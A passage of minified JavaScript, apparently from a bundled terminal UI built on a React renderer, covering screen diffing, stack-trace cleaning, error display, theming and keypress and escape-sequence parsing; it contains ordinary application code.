j=K.screen.damage,M=j?`${j.width}x${j.height} at (${j.x},${j.y})`:"none";h(`Slow render: ${D.toFixed(1)}ms, screen: ${K.screen.height}x${K.screen.width}, damage: ${M}, changes: ${J.diff.length}`)}return J.diff}}function l04(A,K,q){if(K!==q)return A.push({type:"hyperlink",uri:q??""}),q;return K}function kXA(A,K,q){let Y=new xK6({x:0,y:0},A.viewport.width);return Nt3(Y,A,q),[{type:"clearTerminal",reason:K},...Y.diff]}function Nt3(A,K,q){i04(A,K,0,K.screen.height,q)}function i04(A,K,q,Y,z){let w=[],H=void 0;for(let J=q;J<Y;J+=1){for(let O=0;O<K.screen.width;O+=1){let X=RK6(K.screen,O,J);if(!X)continue;if(X.width===2||X.width===3)continue;hK6(A,O,J);let $=X.hyperlink;H=l04(A.diff,H,$);let _=z.get(X.styleId),G=bx(w,_);n04(A,X,G),w=_}A.txn((O)=>[[{type:"stdout",content:` `}],{dx:-O.x,dy:1}])}if(H!==void 0)A.diff.push({type:"hyperlink",uri:""});if(w.length>0){let J=bx(w,[]);if(J.length>0)A.diff.push({type:"style",codes:J})}return A}function n04(A,K,q){A.txn((Y)=>{let z=K.width===1?2:1;if(z===2&&Y.x<A.viewportWidth&&Y.x+2>=A.viewportWidth)return[[],{dx:0,dy:0}];let w=Y.x>=A.viewportWidth?z-Y.x:z,H=Y.x>=A.viewportWidth?1:0;return[q.length>0?[{type:"style",codes:q},{type:"stdout",content:K.char}]:[{type:"stdout",content:K.char}],{dx:w,dy:H}]})}function hK6(A,K,q){A.txn((Y)=>{let z=K-Y.x,w=q-Y.y;if(Y.x>=A.viewportWidth&&w<=0){let J=w-1;return[[{type:"resolvePendingWrap"},{type:"carriageReturn"},{type:"cursorMove",x:K,y:J}],{dx:z,dy:w}]}if(w!==0)return[[{type:"carriageReturn"},{type:"cursorMove",x:K,y:w}],{dx:z,dy:w}];return[[{type:"cursorMove",x:z,y:w}],{dx:z,dy:w}]})}class xK6{viewportWidth;cursor;diff=[];constructor(A,K){this.viewportWidth=K;this.cursor={...A}}txn(A){let[K,q]=A(this.cursor);for(let Y of K)this.diff.push(Y);this.cursor={x:this.cursor.x+q.dx,y:this.cursor.y+q.dy}}}var r04=k(()=>{EXA();TXA();Z1()});var Tt3,yy;var CXA=k(()=>{Tt3=new Map,yy=Tt3});class Gr{_didStopImmediatePropagation=!1;didStopImmediatePropagation(){return this._didStopImmediatePropagation}stopImmediatePropagation(){this._didStopImmediatePropagation=!0}}import{EventEmitter as vt3}from"events";var Zr;var h51=k(()=>{Zr=class Zr extends vt3{constructor(){super();this.setMaxListeners(0)}emit(A,...K){if(A==="error")return super.emit(A,...K);let q=this.rawListeners(A);if(q.length===0)return!1;let Y=K[0]instanceof Gr?K[0]:null;for(let z of q)if(z.apply(this,K),Y?.didStopImmediatePropagation())break;return!0}}});var o04,a04,b51;var uK6=k(()=>{o04=o($A(),1),a04=o04.createContext({exit(){}});a04.displayName="InternalAppContext";b51=a04});var s04,t04,x51;var BK6=k(()=>{h51();s04=o($A(),1),t04=s04.createContext({stdin:process.stdin,internal_eventEmitter:new Zr,setRawMode(){},isRawModeSupported:!1,internal_exitOnCtrlC:!0});t04.displayName="InternalStdinContext";x51=t04});var e04,AX4,u51;var B51=k(()=>{e04=o($A(),1),AX4=e04.createContext({activeId:void 0,add(){},remove(){},activate(){},deactivate(){},enableFocus(){},disableFocus(){},focusNext(){},focusPrevious(){},focus(){}});AX4.displayName="InternalFocusContext";u51=AX4});var KX4,qX4,m51;var mK6=k(()=>{KX4=o($A(),1),qX4=KX4.createContext({isTerminalFocused:!0});qX4.displayName="TerminalFocusContext";m51=qX4});var zX4=v((A9w,YX4)=>{var Et3=/[|\\{}()[\]^$+*?.-]/g;YX4.exports=(A)=>{if(typeof A!=="string")throw TypeError("Expected a string");return A.replace(Et3,"\\$&")}});var OX4=v((K9w,JX4)=>{var kt3=zX4(),Ct3=typeof process==="object"&&process&&typeof process.cwd==="function"?process.cwd():".",HX4=[].concat(CA("module").builtinModules,"bootstrap_node","node").map((A)=>new RegExp(`(?:\\((?:node:)?${A}(?:\\.js)?:\\d+:\\d+\\)$|^\\s*at (?:node:)?${A}(?:\\.js)?:\\d+:\\d+$)`));HX4.push(/\((?:node:)?internal\/[^:]+:\d+:\d+\)$/,/\s*at (?:node:)?internal\/[^:]+:\d+:\d+$/,/\/\.node-spawn-wrap-\w+-\w+\/node:\d+:\d+\)?$/);class gK6{constructor(A){if(A={ignoredPackages:[],...A},"internals"in A===!1)A.internals=gK6.nodeInternals();if("cwd"in A===!1)A.cwd=Ct3;this._cwd=A.cwd.replace(/\\/g,"/"),this._internals=[].concat(A.internals,Lt3(A.ignoredPackages)),this._wrapCallSite=A.wrapCallSite||!1}static nodeInternals(){return[...HX4]}clean(A,K=0){if(K=" ".repeat(K),!Array.isArray(A))A=A.split(` `);if(!/^\s*at /.test(A[0])&&/^\s*at /.test(A[1]))A=A.slice(1);let q=!1,Y=null,z=[];return A.forEach((w)=>{if(w=w.replace(/\\/g,"/"),this._internals.some((J)=>J.test(w)))return;let H=/^\s*at /.test(w);if(q)w=w.trimEnd().replace(/^(\s+)at /,"$1");else if(w=w.trim(),H)w=w.slice(3);if(w=w.replace(`${this._cwd}/`,""),w)if(H){if(Y)z.push(Y),Y=null;z.push(w)}else q=!0,Y=w}),z.map((w)=>`${K}${w} `).join("")}captureString(A,K=this.captureString){if(typeof A==="function")K=A,A=1/0;let{stackTraceLimit:q}=Error;if(A)Error.stackTraceLimit=A;let Y={};Error.captureStackTrace(Y,K);let{stack:z}=Y;return Error.stackTraceLimit=q,this.clean(z)}capture(A,K=this.capture){if(typeof A==="function")K=A,A=1/0;let{prepareStackTrace:q,stackTraceLimit:Y}=Error;if(Error.prepareStackTrace=(H,J)=>{if(this._wrapCallSite)return J.map(this._wrapCallSite);return J},A)Error.stackTraceLimit=A;let z={};Error.captureStackTrace(z,K);let{stack:w}=z;return Object.assign(Error,{prepareStackTrace:q,stackTraceLimit:Y}),w}at(A=this.at){let[K]=this.capture(1,A);if(!K)return{};let q={line:K.getLineNumber(),column:K.getColumnNumber()};if(wX4(q,K.getFileName(),this._cwd),K.isConstructor())Object.defineProperty(q,"constructor",{value:!0,configurable:!0});if(K.isEval())q.evalOrigin=K.getEvalOrigin();if(K.isNative())q.native=!0;let Y;try{Y=K.getTypeName()}catch(H){}if(Y&&Y!=="Object"&&Y!=="[object Object]")q.type=Y;let z=K.getFunctionName();if(z)q.function=z;let w=K.getMethodName();if(w&&z!==w)q.method=w;return q}parseLine(A){let K=A&&A.match(Rt3);if(!K)return null;let q=K[1]==="new",Y=K[2],z=K[3],w=K[4],H=Number(K[5]),J=Number(K[6]),O=K[7],X=K[8],$=K[9],_=K[10]==="native",G=K[11]===")",Z,W={};if(X)W.line=Number(X);if($)W.column=Number($);if(G&&O){let D=0;for(let j=O.length-1;j>0;j--)if(O.charAt(j)===")")D++;else if(O.charAt(j)==="("&&O.charAt(j-1)===" "){if(D--,D===-1&&O.charAt(j-1)===" "){let M=O.slice(0,j-1);O=O.slice(j+1),Y+=` (${M}`;break}}}if(Y){let D=Y.match(yt3);if(D)Y=D[1],Z=D[2]}if(wX4(W,O,this._cwd),q)Object.defineProperty(W,"constructor",{value:!0,configurable:!0});if(z)W.evalOrigin=z,W.evalLine=H,W.evalColumn=J,W.evalFile=w&&w.replace(/\\/g,"/");if(_)W.native=!0;if(Y)W.function=Y;if(Z&&Y!==Z)W.method=Z;return W}}function wX4(A,K,q){if(K){if(K=K.replace(/\\/g,"/"),K.startsWith(`${q}/`))K=K.slice(q.length+1);A.file=K}}function Lt3(A){if(A.length===0)return[];let K=A.map((q)=>kt3(q));return new RegExp(`[/\\\\]node_modules[/\\\\](?:${K.join("|")})[/\\\\][^:]+:\\d+:\\d+`)}var Rt3=new RegExp("^(?:\\s*at )?(?:(new) )?(?:(.*?) \\()?(?:eval at ([^ ]+) \\((.+?):(\\d+):(\\d+)\\), )?(?:(.+?):(\\d+):(\\d+)|(native))(\\)?)$"),yt3=/^(.*?) \[as (.*?)\]$/;JX4.exports=gK6});var It3=(A,K=2)=>{return A.replace(/^\t+/gm,(q)=>" ".repeat(q.length*K))},XX4;var $X4=k(()=>{XX4=It3});var St3=(A,K)=>{let q=[],Y=A-K,z=A+K;for(let w=Y;w<=z;w++)q.push(w);return q},ht3=(A,K,q={})=>{var Y;if(typeof A!=="string")throw TypeError("Source code is missing.");if(!K||K<1)throw TypeError("Line number must start from `1`.");let z=XX4(A).split(/\r?\n/);if(K>z.length)return;return St3(K,(Y=q.around)!==null&&Y!==void 0?Y:3).filter((w)=>z[w-1]!==void 0).map((w)=>({line:w,value:z[w-1]}))},_X4;var GX4=k(()=>{$X4();_X4=ht3});function bt3(A){let K=s(20),q,Y,z,w,H,J,O;if(K[0]!==A){let{children:Z,flexWrap:W,flexDirection:D,flexGrow:j,flexShrink:M,ref:P,...f}=A;q=Z,J=P,O=f,H=W===void 0?"nowrap":W,Y=D===void 0?"row":D,z=j===void 0?0:j,w=M===void 0?1:M,GO(O.margin,"margin"),GO(O.marginX,"marginX"),GO(O.marginY,"marginY"),GO(O.marginTop,"marginTop"),GO(O.marginBottom,"marginBottom"),GO(O.marginLeft,"marginLeft"),GO(O.marginRight,"marginRight"),GO(O.padding,"padding"),GO(O.paddingX,"paddingX"),GO(O.paddingY,"paddingY"),GO(O.paddingTop,"paddingTop"),GO(O.paddingBottom,"paddingBottom"),GO(O.paddingLeft,"paddingLeft"),GO(O.paddingRight,"paddingRight"),GO(O.gap,"gap"),GO(O.columnGap,"columnGap"),GO(O.rowGap,"rowGap"),K[0]=A,K[1]=q,K[2]=Y,K[3]=z,K[4]=w,K[5]=H,K[6]=J,K[7]=O}else q=K[1],Y=K[2],z=K[3],w=K[4],H=K[5],J=K[6],O=K[7];let X=O.overflowX??O.overflow??"visible",$=O.overflowY??O.overflow??"visible",_;if(K[8]!==Y||K[9]!==z||K[10]!==w||K[11]!==H||K[12]!==O||K[13]!==X||K[14]!==$)_={flexWrap:H,flexDirection:Y,flexGrow:z,flexShrink:w,...O,overflowX:X,overflowY:$},K[8]=Y,K[9]=z,K[10]=w,K[11]=H,K[12]=O,K[13]=X,K[14]=$,K[15]=_;else _=K[15];let G;if(K[16]!==q||K[17]!==J||K[18]!==_)G=ZX4.default.createElement("ink-box",{ref:J,style:_},q),K[16]=q,K[17]=J,K[18]=_,K[19]=G;else G=K[19];return G}var ZX4,mV;var FyA=k(()=>{cA();EK6();ZX4=o($A(),1);mV=bt3});function QK6(A){let K=s(22),{children:q,initialState:Y,onThemeChange:z,onThemeSave:w}=A,[H,J]=Wr.useState(Y),[O,X]=Wr.useState(null),$;if(K[0]!==z||K[1]!==w)$=(P)=>{J(P),X(null),z?.(P),w?.(P)},K[0]=z,K[1]=w,K[2]=$;else $=K[2];let _;if(K[3]!==z)_=(P)=>{X(P),z?.(P)},K[3]=z,K[4]=_;else _=K[4];let G;if(K[5]!==w||K[6]!==O)G=()=>{if(O!==null)J(O),X(null),w?.(O)},K[5]=w,K[6]=O,K[7]=G;else G=K[7];let Z;if(K[8]!==z||K[9]!==O||K[10]!==H)Z=()=>{if(O!==null)X(null),z?.(H)},K[8]=z,K[9]=O,K[10]=H,K[11]=Z;else Z=K[11];let W=O??H,D;if(K[12]!==$||K[13]!==_||K[14]!==G||K[15]!==Z||K[16]!==W||K[17]!==H)D={theme:H,setTheme:$,setPreviewTheme:_,savePreview:G,cancelPreview:Z,currentTheme:W},K[12]=$,K[13]=_,K[14]=G,K[15]=Z,K[16]=W,K[17]=H,K[18]=D;else D=K[18];let j=D,M;if(K[19]!==q||K[20]!==j)M=WX4.default.createElement(FK6.Provider,{value:j},q),K[19]=q,K[20]=j,K[21]=M;else M=K[21];return M}function I4(){let A=s(3),{currentTheme:K,setTheme:q}=Wr.useContext(FK6),Y;if(A[0]!==K||A[1]!==q)Y=[K,q],A[0]=K,A[1]=q,A[2]=Y;else Y=A[2];return Y}function UK6(){let A=s(4),{setPreviewTheme:K,savePreview:q,cancelPreview:Y}=Wr.useContext(FK6),z;if(A[0]!==Y||A[1]!==q||A[2]!==K)z={setPreviewTheme:K,savePreview:q,cancelPreview:Y},A[0]=Y,A[1]=q,A[2]=K,A[3]=z;else z=A[3];return z}var WX4,Wr,FK6;var QyA=k(()=>{cA();WX4=o($A(),1),Wr=o($A(),1),FK6=Wr.createContext({theme:null,setTheme:(A)=>A,setPreviewTheme:(A)=>A,savePreview:()=>{},cancelPreview:()=>{},currentTheme:null})});function $G(A){let K=s(29),{color:q,backgroundColor:Y,bold:z,dim:w,italic:H,underline:J,strikethrough:O,inverse:X,wrap:$,children:_}=A,G=H===void 0?!1:H,Z=J===void 0?!1:J,W=O===void 0?!1:O,D=X===void 0?!1:X,j=$===void 0?"wrap":$;if(_===void 0||_===null)return null;let M;if(K[0]!==q)M=q&&{color:q},K[0]=q,K[1]=M;else M=K[1];let P;if(K[2]!==Y)P=Y&&{backgroundColor:Y},K[2]=Y,K[3]=P;else P=K[3];let f;if(K[4]!==w)f=w&&{dim:w},K[4]=w,K[5]=f;else f=K[5];let N;if(K[6]!==z)N=z&&{bold:z},K[6]=z,K[7]=N;else N=K[7];let T;if(K[8]!==G)T=G&&{italic:G},K[8]=G,K[9]=T;else T=K[9];let C;if(K[10]!==Z)C=Z&&{underline:Z},K[10]=Z,K[11]=C;else C=K[11];let R;if(K[12]!==W)R=W&&{strikethrough:W},K[12]=W,K[13]=R;else R=K[13];let x;if(K[14]!==D)x=D&&{inverse:D},K[14]=D,K[15]=x;else x=K[15];let y;if(K[16]!==T||K[17]!==C||K[18]!==R||K[19]!==x||K[20]!==M||K[21]!==P||K[22]!==f||K[23]!==N)y={...M,...P,...f,...N,...T,...C,...R,...x},K[16]=T,K[17]=C,K[18]=R,K[19]=x,K[20]=M,K[21]=P,K[22]=f,K[23]=N,K[24]=y;else y=K[24];let B=y,b=xt3[j],F;if(K[25]!==_||K[26]!==b||K[27]!==B)F=DX4.default.createElement("ink-text",{style:b,textStyles:B},_),K[25]=_,K[26]=b,K[27]=B,K[28]=F;else F=K[28];return F}var DX4,xt3;var LXA=k(()=>{cA();DX4=o($A(),1),xt3={wrap:{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"wrap"},"wrap-trim":{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"wrap-trim"},end:{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"end"},middle:{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"middle"},"truncate-end":{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"truncate-end"},truncate:{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"truncate"},"truncate-middle":{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"truncate-middle"},"truncate-start":{flexGrow:0,flexShrink:1,flexDirection:"row",textWrap:"truncate-start"}}});function ut3(A,K){if(!A)return;if(A.startsWith("rgb(")||A.startsWith("#")||A.startsWith("ansi256(")||A.startsWith("ansi:"))return A;return K[A]}function V(A){let K=s(15),{color:q,backgroundColor:Y,dimColor:z,bold:w,italic:H,underline:J,strikethrough:O,inverse:X,wrap:$,children:_}=A,G=z===void 0?!1:z,Z=w===void 0?!1:w,W=H===void 0?!1:H,D=J===void 0?!1:J,j=O===void 0?!1:O,M=X===void 0?!1:X,P=$===void 0?"wrap":$,[f]=I4(),N,T;if(K[0]!==q||K[1]!==G||K[2]!==f)T=Ry(f),N=G?T.inactive:ut3(q,T),K[0]=q,K[1]=G,K[2]=f,K[3]=N,K[4]=T;else N=K[3],T=K[4];let C=N,R=Y?T[Y]:void 0,x;if(K[5]!==Z||K[6]!==_||K[7]!==M||K[8]!==W||K[9]!==R||K[10]!==C||K[11]!==j||K[12]!==D||K[13]!==P)x=jX4.default.createElement($G,{color:C,backgroundColor:R,bold:Z,italic:W,underline:D,strikethrough:j,inverse:M,wrap:P},_),K[5]=Z,K[6]=_,K[7]=M,K[8]=W,K[9]=R,K[10]=C,K[11]=j,K[12]=D,K[13]=P,K[14]=x;else x=K[14];return x}var jX4;var RXA=k(()=>{cA();Z4A();QyA();LXA();jX4=o($A(),1)});import*as g51 from"node:fs";import{cwd as MX4}from"node:process";function dK6(A){let K=s(21),{error:q}=A,Y,z,w,H,J,O;if(K[0]!==q.message||K[1]!==q.stack){let _=q.stack?q.stack.split(` `).slice(1):void 0,G=_?VX4.parseLine(_[0]):void 0,Z=PX4(G?.file),W,D=0;if(Z&&G?.line&&g51.existsSync(Z)){let M=g51.readFileSync(Z,"utf8");if(W=_X4(M,G.line),W)for(let{line:P}of W)D=Math.max(D,String(P).length)}Y=mV,z="column",w=1;let j;if(K[8]===Symbol.for("react.memo_cache_sentinel"))j=eX.default.createElement(V,{backgroundColor:"error",color:"text"}," ","ERROR"," "),K[8]=j;else j=K[8];if(K[9]!==q.message)H=eX.default.createElement(mV,null,j,eX.default.createElement(V,null," ",q.message)),K[9]=q.message,K[10]=H;else H=K[10];J=G&&Z&&eX.default.createElement(mV,{marginTop:1},eX.default.createElement(V,{dimColor:!0},Z,":",G.line,":",G.column)),O=G&&W&&eX.default.createElement(mV,{marginTop:1,flexDirection:"column"},W.map((M)=>{let{line:P,value:f}=M;return eX.default.createElement(mV,{key:P},eX.default.createElement(mV,{width:D+1},eX.default.createElement(V,{dimColor:P!==G.line,backgroundColor:P===G.line?"error":void 0,color:P===G.line?"text":void 0},String(P).padStart(D," "),":")),eX.default.createElement(V,{key:P,backgroundColor:P===G.line?"error":void 0,color:P===G.line?"text":void 0}," "+f))})),K[0]=q.message,K[1]=q.stack,K[2]=Y,K[3]=z,K[4]=w,K[5]=H,K[6]=J,K[7]=O}else Y=K[2],z=K[3],w=K[4],H=K[5],J=K[6],O=K[7];let X;if(K[11]!==q.stack)X=q.stack&&eX.default.createElement(mV,{marginTop:1,flexDirection:"column"},q.stack.split(` `).slice(1).map(Bt3)),K[11]=q.stack,K[12]=X;else X=K[12];let $;if(K[13]!==Y||K[14]!==z||K[15]!==w||K[16]!==H||K[17]!==J||K[18]!==O||K[19]!==X)$=eX.default.createElement(Y,{flexDirection:z,padding:w},H,J,O,X),K[13]=Y,K[14]=z,K[15]=w,K[16]=H,K[17]=J,K[18]=O,K[19]=X,K[20]=$;else $=K[20];return $}function Bt3(A){let K=VX4.parseLine(A);if(!K)return eX.default.createElement(mV,{key:A},eX.default.createElement(V,{dimColor:!0},"- "),eX.default.createElement(V,{dimColor:!0,bold:!0},A));return eX.default.createElement(mV,{key:A},eX.default.createElement(V,{dimColor:!0},"- "),eX.default.createElement(V,{dimColor:!0,bold:!0},K.function),eX.default.createElement(V,{dimColor:!0}," ","(",PX4(K.file)??"",":",K.line,":",K.column,")"))}var eX,pK6,PX4=(A)=>{return A?.replace(`file://${MX4()}/`,"")},VX4;var fX4=k(()=>{cA();GX4();FyA();RXA();eX=o($A(),1),pK6=o(OX4(),1),VX4=new pK6.default({cwd:MX4(),internals:pK6.default.nodeInternals()})});import{Buffer as mt3}from"buffer";function NX4(A){return{name:"",fn:!1,ctrl:!1,meta:!1,shift:!1,option:!1,sequence:A,raw:A,isPasted:!0}}function Ut3(A){if(mt3.isBuffer(A))if(A[0]>127&&A[1]===void 0)return A[0]-=128,"\x1B"+String(A);else return String(A);else if(A!==void 0&&typeof A!=="string")return String(A);else if(!A)return"";else return A}function EX4(A,K=""){let q=K===null,Y=q?"":Ut3(K),z=A._tokenizer??jXA(),w=q?z.flush():z.feed(Y),H=[],J=A.mode==="IN_PASTE",O=A.pasteBuffer;for(let $ of w)if($.type==="sequence")if($.value===vO4)J=!0,O="";else if($.value===EO4){if(O)H.push(NX4(O));J=!1,O=""}else if(J)O+=$.value;else H.push(TX4($.value));else if($.type==="text")if(J)O+=$.value;else H.push(TX4($.value));if(q&&J&&O)H.push(NX4(O)),J=!1,O="";let X={mode:J?"IN_PASTE":"NORMAL",incomplete:z.buffer(),pasteBuffer:O,_tokenizer:z};return[H,X]}function ct3(A){let K=A-1;return{shift:!!(K&1),meta:!!(K&2)||!!(K&8),ctrl:!!(K&4)}}function lt3(A){switch(A){case 9:return"tab";case 13:return"return";case 27:return"escape";case 32:return"space";case 127:return"backspace";case 57399:return"0";case 57400:return"1";case 57401:return"2";case 57402:return"3";case 57403:return"4";case 57404:return"5";case 57405:return"6";case 57406:return"7";case 57407:return"8";case 57408:return"9";case 57409:return".";case 57410:return"/";case 57411:return"*";case 57412:return"-";case 57413:return"+";case 57414:return"return";case 57415:return"=";default:if(A>=32&&A<=126)return String.fromCharCode(A).toLowerCase();return}}function TX4(A=""){let K,q={name:"",fn:!1,ctrl:!1,meta:!1,shift:!1,option:!1,sequence:A,raw:A,isPasted:!1};q.sequence=q.sequence||A||q.name;let Y;if(Y=Qt3.exec(A)){let z=parseInt(Y[1],10),w=Y[2]?parseInt(Y[2],10):1,H=ct3(w);return{name:lt3(z),fn:!1,ctrl:H.ctrl,meta:H.meta,shift:H.shift,option:!1,sequence:A,raw:A,isPasted:!1}}if(A==="\r")q.raw=void 0,q.name="return";else if(A===` `)q.name="enter";else if(A==="\t")q.name="tab";else if(A==="\b"||A==="\x1B\b")q.name="backspace",q.meta=A.charAt(0)==="\x1B";else if(A===""||A==="\x1B")q.name="backspace",q.meta=A.charAt(0)==="\x1B";else if(A==="\x1B"||A==="\x1B\x1B")q.name="escape",q.meta=A.length===2;else if(A===" "||A==="\x1B ")q.name="space",q.meta=A.length===2;else if(A==="\x1F")q.name="_",q.ctrl=!0;else if(A<="\x1A"&&A.length===1)q.name=String.fromCharCode(A.charCodeAt(0)+97-1),q.ctrl=!0;else if(A.length===1&&A>="0"&&A<="9")q.name="number";else if(A.length===1&&A>="a"&&A<="z")q.name=A;else if(A.length===1&&A>="A"&&A<="Z")q.name=A.toLowerCase(),q.shift=!0;else if(K=gt3.exec(A))q.meta=!0,q.shift=/^[A-Z]$/.test(K[1]);else if(K=Ft3.exec(A)){let z=[...A];if(z[0]==="\x1B"&&z[1]==="\x1B")q.option=!0;let w=[K[1],K[2],K[4],K[6]].filter(Boolean).join(""),H=(K[3]||K[5]||1)-1;q.ctrl=!!(H&4),q.meta=!!(H&10),q.shift=!!(H&1),q.code=w,q.name=kX4[w],q.shift=pt3(w)||q.shift,q.ctrl=dt3(w)||q.ctrl}if(q.raw==="\x1Bb")q.meta=!0,q.name="left";else if(q.raw==="\x1Bf")q.meta=!0,q.name="right";switch(A){case"\x1B[1~":return{name:"home",ctrl:!1,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1};case"\x1B[4~":return{name:"end",ctrl:!1,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1};case"\x1B[5~":return{name:"pageup",ctrl:!1,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1};case"\x1B[6~":return{name:"pagedown",ctrl:!1,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1};case"\x1B[1;5D":return{name:"left",ctrl:!0,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1};case"\x1B[1;5C":return{name:"right",ctrl:!0,meta:!1,shift:!1,option:!1,fn:!1,sequence:A,raw:A,isPasted:!1}}return q}var gt3,Ft3,Qt3,vX4,kX4,CX4,pt3=(A)=>{return["[a","[b","[c","[d","[e","[2$","[3$","[5$","[6$","[7$","[8$","[Z"].includes(A)},dt3=(A)=>{return["Oa","Ob","Oc","Od","Oe","[2^","[3^","[5^","[6^","[7^","[8^"].includes(A)};var cK6=k(()=>{W51();Ix();gt3=/^(?:\x1b)([a-zA-Z0-9])$/,Ft3=/^(?:\x1b+)(O|N|\[|\[\[)(?:(\d+)(?:;(\d+))?([~^$])|(?:1;)?(\d+)?([a-zA-Z]))/,Qt3=/^\x1b\[(\d+)(?:;(\d+))?u/;vX4={mode:"NORMAL",incomplete:"",pasteBuffer:""};kX4={OP:"f1",OQ:"f2",OR:"f3",OS:"f4","[11~":"f1","[12~":"f2","[13~":"f3","[14~":"f4","[[A":"f1","[[B":"f2","[[C":"f3","[[D":"f4","[[E":"f5","[15~":"f5","[17~":"f6","[18~":"f7","[19~":"f8","[20~":"f9","[21~":"f10","[23~":"f11","[24~":"f12","[A":"up","[B":"down","[C":"right","[D":"left","[E":"clear","[F":"end","[H":"home",OA:"up",OB:"down",OC:"right",OD:"left",OE:"clear",OF:"end",OH:"home","[1~":"home","[2~":"insert","[3~":"delete","[4~":"end","[5~":"pageup","[6~":"pagedown","[[5~":"pageup","[[6~":"pagedown","[7~":"home","[8~":"end","[a":"up","[b":"down","[c":"right","[d":"left","[e":"clear","[2$":"insert","[3$":"delete","[5$":"pageup","[6$":"pagedown","[7$":"home","[8$":"end",Oa:"up",Ob:"down",Oc:"right",Od:"left",Oe:"clear","[2^":"insert","[3^":"delete","[5^":"pageup","[6^":"pagedown","[7^":"home","[8^":"end","[Z":"tab"},CX4=[...Object.values(kX4),"backspace"]});function it3(A){let K={upArrow:A.name==="up",downArrow:A.name==="down",leftArrow:A.name==="left",rightArrow:A.name==="right",pageDown:A.name==="pagedown",pageUp:A.name==="pageup",home:A.name==="home",end:A.name==="end",return:A.name==="return",escape:A.name==="escape",fn:A.fn,ctrl:A.ctrl,shift:A.shift,tab:A.name==="tab",backspace:A.name==="backspace",delete:A.name==="delete",meta:A.meta||A.name==="escape"||A.option},q=A.ctrl?A.name:A.sequence;if(q===void 0)q="";if(A.name&&CX4.includes(A.name))q="";if(q.startsWith("\x1B"))q=q.slice(1);if(q.startsWith("[")&&q.endsWith("u")&&A.name)q=A.name==="space"?" ":A.name;if(q.length===1&&typeof q[0]==="string"&&q[0]>="A"&&q[0]<="Z")K.shift=!0;return[K,q]}var F51;var lK6=k(()=>{cK6();F51=class F51 extends Gr{keypress;key;input;constructor(A){super();let[K,q]=it3(A);this.keypress=A,this.key=K,this.input=q}}});var UyA;var iK6=k(()=>{UyA=class UyA extends Gr{type;constructor(A){super();this.type=A}}});var LX4,yXA;var Q51=k(()=>{LX4=o($A(),1),yXA=LX4.createContext(null)});function U51(A){return oO(`?${A}h`)}function p51(A){return oO(`?${A}l`)}var bZ,RX4,yX4,IX4,IXA,nK6,M4A,Iy,pyA;var P4A=k(()=>{Ix();bZ={CURSOR_VISIBLE:25,ALT_SCREEN:47,ALT_SCREEN_CLEAR:1049,MOUSE_NORMAL:1000,MOUSE_BUTTON:1002,MOUSE_ANY:1003,FOCUS_EVENTS:1004,BRACKETED_PASTE:2004,SYNCHRONIZED_UPDATE:2026};RX4=U51(bZ.SYNCHRONIZED_UPDATE),yX4=p51(bZ.SYNCHRONIZED_UPDATE),IX4=U51(bZ.BRACKETED_PASTE),IXA=p51(bZ.BRACKETED_PASTE),nK6=U51(bZ.FOCUS_EVENTS),M4A=p51(bZ.FOCUS_EVENTS),Iy=U51(bZ.CURSOR_VISIBLE),pyA=p51(bZ.CURSOR_VISIBLE)});function hX4(A){if(nt3=A,!A){for(let K of SX4)K();SX4.clear()}}var nt3=!0,SX4;var bX4=k(()=>{SX4=new Set});function tt3(A,K,q,Y){for(let z of K){let w=z.sequence;if(w===kO4){A.handleTerminalFocus(!0);let J=new UyA("terminalfocus");A.internal_eventEmitter.emit("terminalfocus",J);continue}if(w===CO4){A.handleTerminalFocus(!1);let J=new UyA("terminalblur");A.internal_eventEmitter.emit("terminalblur",J);continue}if(z.name==="z"&&z.ctrl&&st3){A.handleSuspend();continue}A.handleInput(w);let H=new F51(z);A.internal_eventEmitter.emit("input",H)}}var xx,xX4,rt3="\t",ot3="\x1B[Z",at3="\x1B",st3,d51;var uX4=k(()=>{h51();uK6();BK6();B51();mK6();fX4();cK6();QyA();lK6();iK6();Q51();ZK6();P4A();Ix();z3();l6();bX4();xx=o($A(),1),xX4=["iTerm.app","kitty","WezTerm","ghostty"],st3=process.platform!=="win32";d51=class d51 extends xx.PureComponent{static displayName="InternalApp";static getDerivedStateFromError(A){return{error:A}}state={isFocusEnabled:!0,activeFocusId:void 0,focusables:[],error:void 0,isTerminalFocused:!0};rawModeEnabledCount=0;internal_eventEmitter=new Zr;keyParseState=vX4;incompleteEscapeTimer=null;NORMAL_TIMEOUT=50;PASTE_TIMEOUT=500;isRawModeSupported(){return this.props.stdin.isTTY}render(){return xx.default.createElement(yXA.Provider,{value:{columns:this.props.terminalColumns,rows:this.props.terminalRows}},xx.default.createElement(b51.Provider,{value:{exit:this.handleExit}},xx.default.createElement(QK6,{initialState:this.props.initialTheme,onThemeChange:this.props.onThemeChange,onThemeSave:this.props.onThemeSave},xx.default.createElement(x51.Provider,{value:{stdin:this.props.stdin,setRawMode:this.handleSetRawMode,isRawModeSupported:this.isRawModeSupported(),internal_exitOnCtrlC:this.props.exitOnCtrlC,internal_eventEmitter:this.internal_eventEmitter}},xx.default.createElement(u51.Provider,{value:{activeId:this.state.activeFocusId,add:this.addFocusable,remove:this.removeFocusable,activate:this.activateFocusable,deactivate:this.deactivateFocusable,enableFocus:this.enableFocus,disableFocus:this.disableFocus,focusNext:this.focusNext,focusPrevious:this.focusPrevious,focus:this.focus}},xx.default.createElement(m51.Provider,{value:{isTerminalFocused:this.state.isTerminalFocused}},this.state.error?xx.default.createElement(dK6,{error:this.state.error}):this.props.children))))))}componentDidMount(){if(this.props.stdout.isTTY&&!P1(process.env.CLAUDE_CODE_ACCESSIBILITY))this.props.stdout.write(pyA)}componentWillUnmount(){if(this.props.stdout.isTTY)this.props.stdout.write(Iy);if(this.incompleteEscapeTimer)clearTimeout(this.incompleteEscapeTimer),this.incompleteEscapeTimer=null;if(this.isRawModeSupported())this.handleSetRawMode(!1)}componentDidCatch(A){this.handleExit(A)}hand